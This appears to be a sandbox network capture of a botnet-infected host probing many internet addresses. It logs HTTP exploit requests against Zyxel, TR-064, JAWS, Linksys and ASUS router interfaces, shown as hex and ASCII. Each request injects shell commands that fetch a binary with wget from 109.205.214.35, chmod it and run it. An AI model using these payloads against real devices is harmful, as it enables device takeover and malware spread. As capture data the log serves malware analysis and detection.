Mar 21, 2024 05:17:32.403886080 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:33.976840973 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:34.217621088 CET	588	IN	HTTP/1.1 404 Not Found Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL was not found on this server.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.13	54208	200.178.179.98	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.051671982 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.13	35216	116.14.193.79	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.335587978 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:31.662763119 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.13	55928	18.204.127.248	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.393738031 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.13	54810	64.66.255.48	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.478948116 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:31.642379045 CET	512	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Sun, 03 Mar 2024 10:16:10 GMT Server: lighttpd/1.4.54 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>
Mar 21, 2024 05:17:32.137716055 CET	512	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Sun, 03 Mar 2024 10:16:10 GMT Server: lighttpd/1.4.54 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.13	44700	34.198.130.125	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.488024950 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:31.608694077 CET	433	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:31 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.13	54998	86.158.189.69	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.502969027 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:32.062098980 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.13	47832	82.157.20.69	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.769977093 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:32.137198925 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:17:31 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:32.137274027 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:31 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.13	56522	172.66.132.206	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.063049078 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.13	38376	163.18.105.179	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.367032051 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:35.416915894 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.13	44692	34.198.130.125	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.404773951 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:32.915803909 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:33.017059088 CET	433	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:32 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.13	55012	86.158.189.69	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.716598988 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.13	58988	218.60.21.107	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.731452942 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:33.087567091 CET	168	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>kngx/1.10.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.13	55472	35.79.194.69	80

Timestamp	Bytes transferred	Direction	Data
